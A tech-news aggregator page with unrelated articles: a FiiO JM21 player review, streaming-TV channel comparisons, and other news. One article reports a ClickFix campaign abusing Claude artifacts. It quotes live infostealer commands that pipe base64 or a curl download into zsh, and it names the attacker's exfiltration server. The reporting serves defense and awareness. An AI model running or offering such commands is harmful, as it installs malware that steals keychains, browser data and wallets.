Connect with us

Tech

FiiO JM21 Review: The $179 DAP That Makes You Question Why You’d Spend More

Published

on

Digital Audio Players, often abbreviated to DAPs, remain one of the most versatile ways to listen to music, offering a self contained alternative to dongle DACs, portable DAC amps, and desktop systems that keep you tethered to a desk. Modern DAPs are no longer just glorified iPods. Today’s models deliver real output power, capable processing, and designs that increasingly resemble mainstream smartphones rather than niche audio gear.

There are solid budget DAPs on the market, but meaningful value tends to thin out quickly as prices drop. That is where the FiiO JM21 becomes interesting. At $179, it lands in a price bracket where most players play it safe, trimming features and performance to hit a number rather than pushing the envelope.

Developed in collaboration with Jade Audio, FiiO’s value focused sub brand, the JM21 does not try to look expensive or pretend it belongs in a higher tier. It is compact, understated, and almost anonymous. Internally, however, FiiO appears to have packed in far more than this category normally allows, from power delivery to functionality and overall flexibility.

That leaves a more uncomfortable question for the competition. Is the JM21 simply good for the money, or did FiiO overdeliver just enough to make nearby alternatives feel needlessly compromised?

Advertisement
FiiO JM21 DAP Sky Blue Front and Back
FiiO JM21 DAP in sky blue

Specifications & Technology

At the heart of the JM21 is a dual DAC configuration built around Cirrus Logic CS43198 chips, paired with SGM8262 op amps handling the output stage. That is serious silicon for a budget friendly DAP, and the supporting numbers back it up. FiiO claims a signal to noise ratio of roughly 130dB, total harmonic distortion plus noise below 0.0006%, and support for sampling rates up to 768 kHz at 32-bit, along with DSD512 over USB.

Those figures are not just the result of good parts selection. Internally, the JM21 is laid out with the control section, DAC stage, and amplifier stage physically separated into distinct zones. Each section is further isolated with shielding, a design choice intended to reduce crosstalk and keep noise from creeping into the signal path.

Power delivery is treated with similar care. The JM21 uses a three section power supply, with dedicated regulation for the digital control circuitry, the DAC stage, and the current and voltage amplification stages. The goal is straightforward. Provide stable, uninterrupted power where it matters most, rather than letting everything fight over a single rail. In a player at this price, that level of internal discipline is notable and not something competitors can all claim with a straight face.

Add in extremely low jitter femtosecond crystal oscillators, SRC bypassing, and FiiO’s proprietary DAPS Digital Audio Purification System, and the JM21 starts to look like a player that has been engineered with real intent rather than assembled from leftovers. On paper, the focus is clearly on preserving signal integrity and extracting as much performance as possible from the hardware.

The obvious concern is whether all of this comes at the expense of usability. It does not appear to. The JM21 is powered by a Qualcomm Snapdragon 680 processor, backed by 4 GB of RAM and a customized Android 13 operating system. Performance is responsive, app support is broad, and the interface avoids the lag and stutter that still plague some entry level players.

Advertisement

Internal storage sits at 64 GB, with expansion supported up to 2 TB via a microSD card slot. Battery life is another quiet strength. Thanks to the JM21’s relatively low power consumption, FiiO rates it at up to 12.5 hours of playback, a figure that held up in real world use rather than collapsing the moment Wi-Fi and streaming entered the picture.

fiio-jm21-dap-back
FiiO JM21 DAP in black (back)

Design & Build Quality

Included with the JM21 is everything you need and nothing you do not. In the box you get a transparent plastic case, a basic black USB Type-C to A cable for charging and data transfer, and the usual documentation. No extras, no padding, no pretending this is a luxury experience.

Advertisement. Scroll to continue reading.

The first thing that stands out when you pick up the JM21 is just how thin and light it is. At 13 mm thick, roughly 0.5 inches, and weighing 156g, about 5.5 ounces, it feels closer to a compact smartphone than a traditional DAP. Its overall dimensions are equally manageable at 120 mm tall and 68 mm wide, or approximately 4.7 by 2.7 inches, making it easy to operate comfortably with one hand.

The chassis is a mix of aluminium alloy and plastic. It does not scream premium, but it feels solid enough to handle everyday use without complaint. The textured underside is a nice touch, adding grip where it actually matters. My review unit was finished in black, though a more eye catching sky blue option is also available. No one is going to confuse this with a flagship build, but at this price point it is sturdy, practical, and frankly hard to fault.

Advertisement
FiiO JM21 DAP dimensions in sky blue

The control layout is straightforward and sensibly arranged. On the left side you will find the power button, which incorporates a small indicator light, along with a volume up and down rocker. Everything falls easily under your thumb, even when using the player one handed.

The right side houses the physical media controls, including play and pause, track forward, and track back buttons. The microSD card slot is also located here, keeping all removable and frequently used controls in one place.

Along the bottom edge are the audio and data connections. The JM21 offers both 4.4mm balanced and 3.5mm unbalanced headphone outputs. The 4.4mm jack can also function as a line out, while the 3.5mm output supports both line out and coaxial digital out. A USB Type-C port rounds things out, handling charging and data transfer duties.

fiio-jm21-dap-accessories

User Experience

Power up the JM21 and you are greeted by a bright, vibrant 4.7-inch TFT touchscreen. While the resolution is a modest 1334×750, it is well matched to the screen size. In practice, text and artwork look clean, and I never found myself distracted by visible pixels.

Beyond its wired outputs, the JM21 also supports wireless listening via Bluetooth 5.0. It can both transmit to and receive from compatible devices, with LDAC support enabling high quality wireless playback at up to 96 kHz. Pairing was quick and stable, and performance was consistent during testing.

Advertisement

Versatility is clearly a priority here. The JM21 can operate in line out mode for use with active speakers or external power amplifiers, and it can also function as a USB DAC. In that configuration, connecting it to a laptop, desktop PC, or even a mobile device is straightforward, allowing the JM21 to bypass inferior onboard audio and handle digital conversion duties itself.

Most of my listening was done in standard Android mode, though FiiO also offers a Pure Music mode for those who want a more focused experience. This mode strips the interface back to the essentials, minimizing background processes and visual clutter so the player behaves more like a traditional, music only DAP. If you prefer fewer distractions and quicker access to your library, it is a sensible option.

Overall performance was stable, but not entirely flawless. I experienced occasional Spotify app crashes, particularly during the first few hours of use. The cause was not immediately clear, though the issue appeared to resolve itself over time and did not persist as testing continued. Outside of that early hiccup, day to day operation was smooth and predictable.

The Android 13 implementation feels familiar and largely hassle free, with no noticeable stuttering or performance limitations during typical day to day use. Navigation is smooth, app switching is responsive, and the overall experience feels appropriately tuned for a dedicated audio device.

Advertisement

I did spend some time with the Pure Music mode, which limits operation to the FiiO Music app. In this configuration, the JM21 behaves like a more traditional DAP, prioritizing local playback and simplicity. The app itself is well executed, offering straightforward access to local files, wireless file transfer to and from a connected phone or computer, and built-in EQ adjustment.

Advertisement. Scroll to continue reading.

If you maintain a large locally stored music library, Pure Music mode makes a lot of sense. It is faster, cleaner, and avoids the overhead of Android apps you are not using, allowing the JM21 to focus on what it does best.

fiio-jm21-dap-front-angle
FiiO JM21 DAP in black (back)

Listening Impressions and Headphone Synergy

Most of my listening impressions were formed using a mix of Spotify streams and hi res FLAC files stored on a microSD card. I paired the JM21 with a wide range of over ear headphones via the 4.4mm balanced output, including the HiFiMAN HE1000 Unveiled, Sendy Audio Egret, Beyerdynamic DT880 Edition 600 Ohm, and DALI IO-12. The DALI was also used wirelessly to evaluate Bluetooth performance.

In short, the JM21 presents a clean, neutral, and largely uncolored sound signature. It does not impose a strong personality of its own, instead allowing the character of the connected headphones to come through intact. Bass, midrange, and treble are evenly balanced and well integrated, provided the headphones themselves are similarly well tuned. This is not a player that sweetens, exaggerates, or smooths things over. What you hear is largely what your headphones are capable of delivering.

Advertisement

Despite its largely flat, neutral tuning, the JM21 never comes across as sterile or robotic. There is enough body and tonal weight to keep music sounding human rather than processed. On “Feeling Good” by Nina Simone, her vocal carries real heft and authority, sitting front and center with a natural sense of scale. The brass section has proper bite and presence, with trumpets cutting through cleanly and trombones sounding full and weighty rather than thin or splashy. The JM21 keeps these elements in balance, letting the track breathe without smoothing away its character.

fiio-jm21-dap-side-buttons
FiiO JM21 DAP in black (side)

That said, the JM21 is not a technical showpiece. Transient snap and large scale dynamics are a bit restrained compared to some similarly priced dongle DACs, which can sound more immediate and energetic in direct comparison. There is a trade off here, however. Those dongles do not give you a full Android experience, onboard storage, or a proper touchscreen interface. Viewed in that context, the JM21’s performance makes more sense. You are trading a bit of outright technical bite for versatility, convenience, and an all in one listening experience that dongles simply cannot offer.

Soundstage and imaging are fairly average, with limited spatial placement. Detail retrieval is solid, however. On “Chocolate Chip Trip” by TOOL, the JM21 still revealed subtle percussive hits and low level effects that many devices gloss over. The issue is scale. The track’s complex spatial placement and sense of movement felt flattened compared to higher quality sources. Everything was audible, but the presentation lacked the depth and dimensionality that make this track truly jaw dropping.

I did not have any similarly priced DAPs on hand, but I did compare the JM21 to the $500 Shanling M3 Plus. In terms of overall detail retrieval and tonal balance, the JM21 more than held its own. The differences came down to refinement. The Shanling sounded slightly more natural in timbre and more convincing dynamically, pulling ahead by a small but noticeable margin rather than a night and day difference.

700 mW is a heck of a lot of power for a sub-$200 device, and that kind of headroom proves useful when driving harder-to-run over-ear headphones like the HE1000 Unveiled. Just do not expect it to unlock the full potential of notoriously demanding models such as the HiFiMAN HE6se V2 or Modhouse Tungsten.

Advertisement

Furthermore, the JM21 doesn’t use tube amplification nor does it contain an R2R DAC, so it won’t do much to tame treble peaks on troublesome headphones. For that reason, the DT880 Edition 600 Ohm was quickly put to one side for the rest of the review process, as it can sound quite harsh on many solid-state devices.

fiio-jm21-dap-low-angle

The Bottom Line

The FiiO JM21 is not a giant killer, but it is a smartly engineered reality check. It has ample output power for the money, a clean and neutral sound, excellent versatility with full Android, strong connectivity, and hardware choices that feel deliberate rather than cheap. And it will comfortably drive the vast majority of headphones people actually own.

The trade offs are just as clear. Technical performance is competent rather than exciting, with average dynamics, soundstage, and spatial placement. It will not soften treble heavy headphones, nor will it extract the last ounce of performance from notoriously power hungry or temperamental designs. If you are chasing holographic imaging or tube like warmth, this is not the DAP for you.

Where the JM21 wins is value and usability. At $179, it offers a level of power, functionality, and polish that makes many alternatives feel compromised or redundant. If your priorities are flexibility, sensible tuning, and maximum bang for the buck, the JM21 makes a very strong case that you may not need anything more.

Advertisement. Scroll to continue reading.
Advertisement

Pros:

  • High quality DAC implementation with class leading measurements for the price
  • Lightweight, slim design that is easy to operate one handed
  • Smooth and familiar Android 13 experience with good overall responsiveness
  • Excellent versatility with multiple operating modes, including USB DAC, line out, Bluetooth, and Pure Music mode
  • Clean, neutral, and well balanced sound that avoids obvious coloration
  • Strong output power for its class, capable of driving most real world headphones

Cons:

  • Occasional app instability, particularly with streaming services early on
  • Average dynamics, soundstage, and spatial placement compared to more technical sources
  • Sonic presentation prioritizes balance and control over excitement
  • Limited ability to tame treble heavy or difficult headphone pairings

Where to buy:

Source link

Continue Reading
Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

Tech

Claude LLM artifacts abused to push Mac infostealers in ClickFix attack

Published

on

Claude LLM artifacts abused to push Mac infostealers in ClickFix attack

Threat actors are abusing Claude artifacts and Google Ads in ClickFix campaigns that deliver infostealer malware to macOS users searching for specific queries.

At least two variants of the malicious activity have been observed in the wild, and more than 10,000 users have accessed the content with dangerous instructions.

A Claude artifact is content generated with Antropic’s LLM that has been made public by the author. It can be anything from instructions, guides, chunks of code, or other types of output that are isolated from the main chat and accessible to anyone via links hosted on the claude.ai domain.

Wiz

An artifact’s page warns users that the shown content was generated by the user and has not been verified for accuracy.

Researchers at MacPaw’s investigative division, Moonlock Lab, and at ad-blocking company AdGuard noticed the malicious search results being displayed for multiple queries, like “online DNS resolver,” “macOS CLI disk space analyzer,” and “HomeBrew.”

Advertisement
Malicious HomeBrew search results
Malicious HomeBrew search results
Source: AdGuard

Malicious results promoted on Google Search lead to either a public Claude artifact or a Medium article impersonating Apple Support. In both cases, the user is instructed to paste a shell command into Terminal.

  • In the first variant of the attack, the command given for execution is: ‘echo "..." | base64 -D | zsh,’
  • while in the second, it’s: ‘true && cur""l -SsLfk --compressed "https://raxelpak[.]com/curl/[hash]" | zsh’.
Second variant using a fake Apple Support page
Second variant using a fake Apple Support page
Source: Moonlock Lab

Moonlock researchers discovered that the malicious Claude guide has already received at least 15,600 views, which could be an indication of the number of users falling for the trick.

AdGuard researchers observed the same guide a few days earlier, when it had 12,300 views.

The ClickFix guide hosted on a Claude conversation
The ClickFix guide hosted on a Claude conversation
Source: Moonlock Lab

Running the command in Terminal fetches a malware loader for the MacSync infostealer, which exfiltrates sensitive information present on the system. 

According to the researchers, the malware establishes communication with the command-and-control (C2) infrastructure using a hardcoded token and API key, and spoofs a macOS browser user-agent to blend into normal activity.

“The response is piped directly to osascript – the AppleScript handles the actual stealing (keychain, browser data, crypto wallets),” the researchers say.

The stolen data is packaged into an archive at ‘/tmp/osalogging.zip,’ and then exfiltrated to the attacker’s C2 at a2abotnet[.]com/gate via an HTTP POST request. In case of failure, the archive is split into smaller chunks, and exfiltration is retried eight times. After a successful upload, a cleanup step deletes all traces.

Advertisement

MoonLock Lab found that both variants fetch the second stage from the same C2 address, indicating that the same threat actor is behind the observed activity.

A similar campaign leveraged the chat sharing feature in ChatGPT and Grok to deliver the AMOS infostealer. In December 2025, researchers found the promoted  after researchers found ChatGPT and Grok conversations were being leveraged in ClickFix attacks targeting Mac users.

The Claude variation of the attack indicates that abuse has expanded to other large language models (LLMs).

Users are recommended to exert caution and avoid executing in Terminal commands they don’t fully understand. As Kaspersky researchers noted in the past, asking the chatbot in the same conversation about the safety of the provided commands is a straightforward way to determine if they’re safe or not.

Advertisement

Modern IT infrastructure moves faster than manual workflows can handle.

In this new Tines guide, learn how your team can reduce hidden manual delays, improve reliability through automated response, and build and scale intelligent workflows on top of tools you already use.

Source link

Continue Reading

Tech

iOS 26 adoption rate isn't the crisis some analysts are portraying

Published

on

Apple’s February 2026 App Store data shows iOS 26 adoption closely tracking the pace set by iOS 18 in January 2025, and iPadOS 26 is ahead of iPadOS 18, undercutting claims that the upgrade cycle is faltering.

Tablet on a keyboard case sitting on an outdoor table, screen displaying colorful icons, with empty patio chairs, metal fence, and buildings in the background under a partly cloudy sky
Apple publishes OS 26 adoption data

Apple publishes operating system adoption rates based on devices that transacted on the App Store. The February 12, 2026 data can be measured against Apple’s January 24, 2025 published figures for a like-for-like comparison.
The breakdown separates recently introduced hardware from the full active installed base. Because Apple publishes these numbers annually, it allows for a category-matched comparison between the 2025 and 2026 cycles at the same stage.
Continue Reading on AppleInsider | Discuss on our Forums

Source link

Continue Reading

Tech

YouTube TV vs. Fubo vs. Hulu Live vs. Sling and More: 100 Top Live TV Streaming Channels Compared

Published

on

Before you’re tempted to attach yourself to a cable subscription, maybe it’s time to consider a live TV streaming service and let the cord go. The number of packages available today — for every kind of budget — is on the rise; however, live TV streaming services allow you to avoid those annoying contracts. They also offer a variety of channels, DVR and the ability to stream sports and other content. Plus, most services let you watch on your laptop or phone.  

Monthly pricing and regional sports networks can make it a challenge when choosing a live TV streamer but six main services to consider (we’re not including smaller ones) are FuboPhiloSling TVDirecTVYouTube TV and Hulu Plus Live TV

Advertisement

It really boils down to the channels, right? We’ve examined which platforms feature the most top 100 channels in their main lineups to help you determine which one is best for your household.

The Big Chart: Top 100 channels compared (updated Feb. 2026)

The main difference between the services lies in their channel selection. All of them offer different lineups of channels for various prices. 

Below, you’ll find a chart that shows the top 100 channels across all six services. Note that not every service has a worthy 100. There are actually seven listed because Sling TV has two “base” tiers, Orange and Blue. And if you’re wondering, I chose which “top” channels made the cut. Sorry, AXS TV, Discovery Life, GSN and Universal HD.

Fubo and NBCUniversal still have not resolved their carriage dispute, resulting in a gap in Fubo’s channel lineup but a drop in monthly subscription prices. DirecTV offers signature streaming packages, and its basic plan starts at $90 per month, plus fees (excluding promotional rates). With channel losses and price hikes, some of the services may seem less appealing.

Advertisement

Sling TV has made some changes to its Blue package in 2026. The price is $46 a month if you don’t have any local stations but the price has increased by $4 for those who do. If you have one or two local networks, such as NBC or Fox, the monthly rate is $50. Customers with three or more local stations in their Sling Blue package now pay $55 per month. 

Philo offers a small roster but packages HBO Max, Discovery Plus and AMC Plus access with it at no extra charge. But costs continue to go up and those changes are reflected in the chart below where applicable. 

Some more stuff to know about the chart: 

  • Yes = The channel is available on the cheapest pricing tier. That price is listed next to the service’s name.
  • No = The channel isn’t available at all on that service. 
  • $ = The channel is available for an extra fee, either a la carte or as part of a more expensive package or add-on.
  • Regional sports networks — local channels devoted to showing regular-season games of particular pro baseball, basketball and hockey teams — are not listed. DirecTV’s $130 tier has the most RSNs by far, but a few are available on other services. You can also check out its MySports package for $70 and Xfinity’s sports and news offering.
  • Local ABC, CBS, Fox, NBC, MyNetworkTV and The CW networks are not available in every city. Because the availability of these channels varies, you’ll want to check the service’s website to verify that it carries your local network.
  • Local PBS stations are only currently available on DirecTV, Hulu Live and YouTube TV. Again, you’ll want to check local availability.
  • Sling Blue subscribers in cities like Philadelphia, Chicago, Los Angeles and New York City pay extra for access to channels like NBC and ABC. Check Sling’s site to see which local channels are available in your area.
  • Fubo subscribers get an $11 price decrease on its Pro and Elite plans amid the NBCU carriage dispute, but you may find that the ACC Network and SEC Network are included with the TV package at no extra cost. Check availability for your state.
  • The chart columns are arranged in order of price, so if you can’t see everything you want, try scrolling right.
  • Overwhelmed? An easier-to-understand Google Spreadsheet is here.

Philo vs. Sling TV vs. Fubo vs. YouTube TV vs. DirecTV vs. Hulu: Top 100 channels compared

Advertisement

Channel Philo ($33) Sling Orange ($46) Sling Blue ($46) Fubo ($74) YouTube TV ($83) DirecTV ($90) Hulu with Live TV ($90)
Total channels: 43 24 34 39 78 56 75
ABC No No No Yes Yes Yes Yes
CBS No No No Yes Yes Yes Yes
Fox No No Yes (some markets) Yes Yes Yes Yes
NBC No No Yes (some markets0 No (due to carriage dispute) Yes Yes Yes
PBS No No No No Yes Yes Yes
CW No No No Yes Yes Yes (limited) Yes
MyNetworkTV No No No No Yes Yes Yes
Channel Philo ($33) Sling Orange ($46) Sling Blue ($46) Fubo ($74) YouTube TV ($83) DirecTV ($90) Hulu with Live TV ($90)
A&E Yes Yes Yes No No $ Yes
ACC Network No $ No Yes Yes $ Yes
Accuweather Yes No No Yes No Yes No
AMC Yes Yes Yes No Yes Yes No
Animal Planet Yes No No No Yes Yes Yes
BBC America Yes Yes Yes No Yes Yes No
BBC World News Yes $ $ No Yes $ No
BET Yes Yes Yes Yes Yes Yes Yes
Big Ten Network No No $ Yes Yes $ Yes
Bloomberg TV No Yes Yes Yes No Yes Yes
Boomerang No $ $ No No Yes $
Bravo No No Yes No (due to carriage dispute) Yes Yes Yes
Channel Philo ($33) Sling Orange ($46) Sling Blue ($46) Fubo ($74) YouTube TV ($83) DirecTV ($90) Hulu with Live TV ($90)
Cartoon Network No No Yes No Yes Yes Yes
CBS Sports Network No No No Yes Yes $ Yes
Cheddar Yes No No Yes Yes Yes Yes
Cinemax No No No No $ $ $
CMT Yes $ $ Yes Yes Yes Yes
CNBC No No $ No (due to carriage dispute) Yes Yes Yes
CNN No Yes Yes No Yes Yes Yes
Comedy Central Yes Yes Yes Yes Yes Yes Yes
Cooking Channel Yes $ $ $ No $ $
Destination America Yes $ $ $ No $ $
Discovery Channel Yes No Yes No Yes Yes Yes
Disney Channel No Yes No Yes Yes Yes Yes
Disney Junior No $ No Yes Yes Yes Yes
Disney XD No $ No Yes Yes Yes Yes
E! No No Yes No (due to carriage dispute) Yes Yes Yes
ESPN No Yes No Yes Yes Yes Yes
ESPN 2 No Yes No Yes Yes Yes Yes
ESPNEWS No $ No $ Yes $ Yes
ESPNU No $ No $ Yes $ Yes
Channel Philo ($33) Sling Orange ($46) Sling Blue ($46) Fubo ($74) YouTube TV ($83) DirecTV ($90) Hulu with Live TV ($90)
Food Network Yes Yes Yes No Yes Yes Yes
Fox Business No No $ Yes Yes Yes Yes
Fox News No No Yes Yes Yes Yes Yes
FS1 No No Yes Yes Yes Yes Yes
FS2 No No $ Yes Yes $ Yes
Freeform No Yes No Yes Yes Yes Yes
FX No No Yes Yes Yes Yes Yes
FX Movies No No $ $ Yes $ Yes
FXX No No $ Yes Yes Yes Yes
FYI Yes $ $ No No $ Yes
Golf Channel No No $ No (due to carriage dispute) Yes $ Yes
Hallmark Yes $ $ Yes Yes Yes Yes
HBO/Max No No No No $ $ $
HGTV Yes Yes Yes No Yes Yes Yes
History Yes Yes Yes No No $ Yes
HLN No $ Yes No Yes Yes Yes
IFC Yes Yes Yes No Yes Yes No
Investigation Discovery Yes Yes Yes No Yes Yes Yes
Lifetime Yes Yes Yes No No $ Yes
Lifetime Movie Network Yes $ $ No No $ Yes
Channel Philo ($33) Sling Orange ($46) Sling Blue ($46) FuboTV ($74) YouTube TV ($83) DirecTV ($90) Hulu with Live TV ($90)
Magnolia Network Yes $ $ No Yes $ Yes
MeTV Yes Yes Yes Yes No Yes No
MGM+ $ $ $ No $ $ No
MLB Network No $ $ $ No $ Yes
Motor Trend Yes Yes No No Yes Yes Yes
MSNBC No No Yes No (due to carriage dispute) Yes Yes Yes
MTV Yes $ $ Yes Yes Yes Yes
MTV2 Yes $ $ $ Yes Yes $
National Geographic No No Yes Yes Yes No Yes
Nat Geo Wild No No $ $ Yes $ Yes
NBA TV No $ $ $ Yes $ No
NFL Network No No Yes Yes Yes $ Yes
NFL Red Zone No No $ $ $ No $
NHL Network No $ $ $ No $ No
Nickelodeon Yes No No Yes Yes Yes Yes
Nick Jr. Yes Yes Yes Yes Yes $ Yes
Nicktoons Yes $ $ $ Yes $ $
OWN Yes No No No Yes $ Yes
Oxygen No No $ Yes Yes $ Yes
Paramount Network Yes $ $ Yes Yes Yes Yes
Science Yes $ $ $ No $ $
Channel Philo ($33) Sling Orange ($46) Sling Blue ($46) FuboTV ($74) YouTube TV ($83) DirecTV ($90) Hulu with Live TV ($90)
SEC Network No $ No $ Yes $ Yes
Showtime No $ $ $ $ $ $
Smithsonian Yes No No Yes Yes $ Yes
Starz $ $ $ $ $ $ $
Sundance TV Yes $ $ No Yes Yes No
Syfy No No Yes No (due to carriage dispute) Yes Yes Yes
Tastemade Yes $ $ Yes Yes $ No
TBS No Yes Yes No Yes Yes Yes
TCM No $ $ No Yes $ Yes
TeenNick Yes $ $ $ Yes Yes $
Telemundo No No No Yes Yes $ Yes
Tennis Channel No $ $ $ No $ No
TLC Yes No Yes No Yes Yes Yes
TNT No Yes Yes No Yes Yes Yes
Travel Channel Yes Yes Yes No Yes $ Yes
TruTV No $ Yes No Yes $ Yes
TV Land Yes $ $ Yes Yes Yes Yes
USA Network No No Yes No (due to carriage dispute) Yes Yes Yes
VH1 Yes $ $ Yes Yes Yes Yes
Vice Yes Yes Yes No No $ Yes
WE tv Yes $ $ No Yes Yes No
Channel Philo ($33) Sling Orange ($46) Sling Blue ($46) FuboTV ($74) YouTube TV ($83) DirecTV ($90) Hulu with Live TV ($90)

James Martin/CNET

Hulu Plus Live TV, which includes access to Disney Plus, Hulu on-demand and ESPN Plus, is one of the most expensive platforms, now at $90 a month for its base package. Its channel selection isn’t as robust as YouTube TV, but Hulu’s significant catalog of on-demand content sets it apart. ABC shows like High Potential and exclusive titles such as Shōgun, The Bear and Only Murders in the Building give it a content advantage.

Live TV subscribers also receive unlimited DVR that includes fast-forwarding and on-demand playback — at no additional cost. It’s a move that has aligned Hulu with its competitors in terms of features but the channel lineup may still be a deciding factor. It’s pricier than YouTube TV, which has more channels, but the access to Disney Plus and ESPN may make it a more appealing choice for you. Read our Hulu Plus Live TV review.

Advertisement

James Martin/CNET

Apart from its current carriage dispute with Disney, YouTube has an excellent channel selection, easy-to-use interface and best-in-class cloud DVR. Typically, the $83-per-month service is one of the best cable TV replacements. It offers a 4K upgrade add-on for an additional price, but the downside is that there isn’t much to watch at present unless you watch select channels. If you don’t mind paying a bit more than the Sling TVs of the world, or want to watch live NBA games, YouTube TV offers a high standard of live TV streaming. Read our YouTube TV review.

Advertisement

Sarah Tew/CNET

If you want to save a little money and don’t mind missing out on local channels, Sling TV is the best of the budget services. Its Orange and Blue packages start at $46 per month, and you can combine them for a monthly rate of $61 (more in some regions). The Orange option nets you one stream, while Blue gives you three. It’s not as comprehensive or as easy to navigate as YouTube TV, but with a bit of work, including adding an antenna or an AirTV 2 DVR, it’s an unbeatable value. We’ll also add that the service offers local channels such as ABC and CBS in some regions, where the monthly rate is $50 or $55. Read our Sling TV review.

Zooey Liao/CNET
Advertisement

DirecTV’s base signature streaming package costs more than all the other platforms on this list  except Hulu Plus Live TV, and its stiffest competition is still Hulu and YouTube TV. With its channel selection, it’s ideal for sports fans who want to watch local or national games. 

The service does have its benefits, though — for example, it includes the flipper-friendly ability to swipe left and right to change channels. Additionally, it includes some channels that some other services can’t, including nearly 250 PBS stations nationwide. The $90 Entertainment package may suit your needs with its 90-plus channels and the inclusion of ESPN Unlimited. But for cord-cutters who want to follow their local NBA or MLB team, DirecTV’s pricier Choice package is a more robust live TV streaming pick because it has access to more regional sports networks than the competition. Nonetheless, you’ll want to make sure your channel is included here and not available on one of our preferred picks before you pony up. Read our DirecTV streaming service review.

Ty Pendlebury/CNET
Advertisement

There’s a lot to like about Fubo — it offers a wide selection of channels and its sports focus makes it especially attractive to soccer fans or NBA, NHL and MLB fans who live in an area served by one of Fubo’s RSNs. It’s also a great choice for NFL fans because it’s one of three services, alongside YouTube TV and Hulu, that offer NFL Network and optional RedZone. The biggest hole in Fubo’s lineup is the lack of Warner Bros. Discovery networks, including Cartoon Network, CNN, Food Network, HGTV, TBS and TNT — especially as the latter two carry a lot of sports content, in particular MLB, NBA and NHL. Its current dispute with NBCU is causing more channel losses (no ABC, Bravo, etc.). Those missing channels, and the $74 price tag for the base plan, make it less attractive than YouTube TV for most viewers. Read our Fubo review.

Sarah Tew/CNET

Philo’s Core plan is now $33 and includes the AMC Plus bundle and HBO Max at no extra cost, and it’s still a cheap live TV streaming service with a variety of channels. But it lacks sports channels, local stations and big-name news networks — although BBC News and Cheddar are available. Philo offers bread-and-butter cable staples like Comedy Central, Hallmark Channel and Nickelodeon, and specializes in lifestyle and reality programming. It’s also one of the most affordable live services that streams Paramount, home of Yellowstone, and includes a cloud DVR, as well as optional add-ons from Hallmark Plus and Starz. We think most people are better off paying a few bucks more for Sling TV’s superior service, but if Philo has every channel you want, it’s a decent deal. Read our Philo review.

Advertisement

Source link

Continue Reading

Tech

China extracts uranium from seawater, moving closer to the 2050 goal of “unlimited battery life” with oceans full of fuel

Published

on


  • China successfully extracted kilogram-level uranium from seawater under real marine conditions
  • Oceans contain far more uranium than all known land-based deposits combined
  • Seawater uranium concentration is extremely low, making recovery technically demanding

Chinese scientists have revealed successful kilogram-scale uranium extraction from seawater under real marine conditions, a milestone which moves the concept beyond laboratory testing.

The announcement came through state-linked nuclear institutions, and was tied to the operation of a dedicated offshore test platform in the South China Sea.

Source link

Continue Reading

Tech

This is the KitchenAid colour of 2026

Published

on

KitchenAid has revealed Spearmint as its official Colour of the Year for 2026, introducing a pastel green finish that will appear across select appliances and shape the brand’s design direction over the coming months.

The company applies its annual colour selection to highlight shifting consumer preferences in kitchen design, often aligning small appliance aesthetics with broader interior trends that emphasise softness and muted tones.

Spearmint launches on the KitchenAid Artisan Series 5-Quart Tilt-Head Stand Mixer, which is now available in the new finish with a list price of $549.99 / £699.

Unlike last year’s Butter shade, which featured a subtle sheen, Spearmint uses what KitchenAid describes as a sandy, tactile finish that contrasts with the brushed stainless steel mixing bowl.

Advertisement

Advertisement

KitchenAid has previously used its Colour of the Year programme to introduce distinctive finishes such as Blue Salt in 2024 and Hibiscus in 2023, both of which expanded beyond seasonal novelty into broader product styling cues.

Past selections have often reflected wider décor movements, including warm neutrals and expressive accent tones, reinforcing how appliance finishes now play a visible role in open-plan kitchen design.

Spearmint continues that direction by leaning into softer green hues, which have gained traction in cabinetry, tiling and countertop accessories across contemporary interiors.

Advertisement

The release also coincides with Pantone’s own 2026 selection, though KitchenAid has chosen a mint-inspired tone rather than directly aligning with Pantone’s softer white palette this year.

Sweepstakes and extended appliance rollout

KitchenAid has launched a Colour of the Year sweepstake running from February 12 to February 26, offering five winners a Spearmint stand mixer alongside a matching limited-edition 36-inch dual-fuel commercial-style range cooker.

This marks the first time KitchenAid has extended its Colour of the Year beyond countertop appliances into a larger kitchen fixture, signalling a broader application of the annual design theme.

Advertisement

Advertisement

The limited-edition range cooker will be available exclusively through the sweepstakes, with no standalone retail availability announced at this stage.

KitchenAid has not confirmed whether Spearmint will expand to additional appliances later in 2026, though previous Colour of the Year finishes have appeared across multiple product categories over time.

Source link

Advertisement
Continue Reading

Tech

News Publishers Are Now Blocking The Internet Archive, And We May All Regret It

Published

on

from the our-digital-history dept

Last fall, I wrote about how the fear of AI was leading us to wall off the open internet in ways that would hurt everyone. At the time, I was worried about how companies were conflating legitimate concerns about bulk AI training with basic web accessibility. Not surprisingly, the situation has gotten worse. Now major news publishers are actively blocking the Internet Archive—one of the most important cultural preservation projects on the internet—because they’re worried AI companies might use it as a sneaky “backdoor” to access their content.

This is a mistake we’re going to regret for generations.

Nieman Lab reports that The Guardian, The New York Times, and others are now limiting what the Internet Archive can crawl and preserve:

When The Guardian took a look at who was trying to extract its content, access logs revealed that the Internet Archive was a frequent crawler, said Robert Hahn, head of business affairs and licensing. The publisher decided to limit the Internet Archive’s access to published articles, minimizing the chance that AI companies might scrape its content via the nonprofit’s repository of over one trillion webpage snapshots.

Specifically, Hahn said The Guardian has taken steps to exclude itself from the Internet Archive’s APIs and filter out its article pages from the Wayback Machine’s URLs interface. The Guardian’s regional homepages, topic pages, and other landing pages will continue to appear in the Wayback Machine.

Advertisement

The Times has gone even further:

The New York Times confirmed to Nieman Lab that it’s actively “hard blocking” the Internet Archive’s crawlers. At the end of 2025, the Times also added one of those crawlers — archive.org_bot — to its robots.txt file, disallowing access to its content.

“We believe in the value of The New York Times’s human-led journalism and always want to ensure that our IP is being accessed and used lawfully,” said a Times spokesperson. “We are blocking the Internet Archive’s bot from accessing the Times because the Wayback Machine provides unfettered access to Times content — including by AI companies — without authorization.”

I understand the concern here. I really do. News publishers are struggling, and watching AI companies hoover up their content to train models that might then, in some ways, compete with them for readers is genuinely frustrating. I run a publication myself, remember.

But blocking the Internet Archive isn’t going to stop AI training. What it will do is ensure that significant chunks of our journalistic record and historical cultural context simply… disappear.

Advertisement

And that’s bad.

The Internet Archive is the most famous nonprofit digital library, and has been operating for nearly three decades. It isn’t some fly-by-night operation looking to profit off publisher content. It’s trying to preserve the historical record of the internet—which is way more fragile than most people comprehend. When websites disappear—and they disappear constantly—the Wayback Machine is often the only place that content still exists. Researchers, historians, journalists, and ordinary citizens rely on it to understand what actually happened, what was actually said, what the world actually looked like at a given moment.

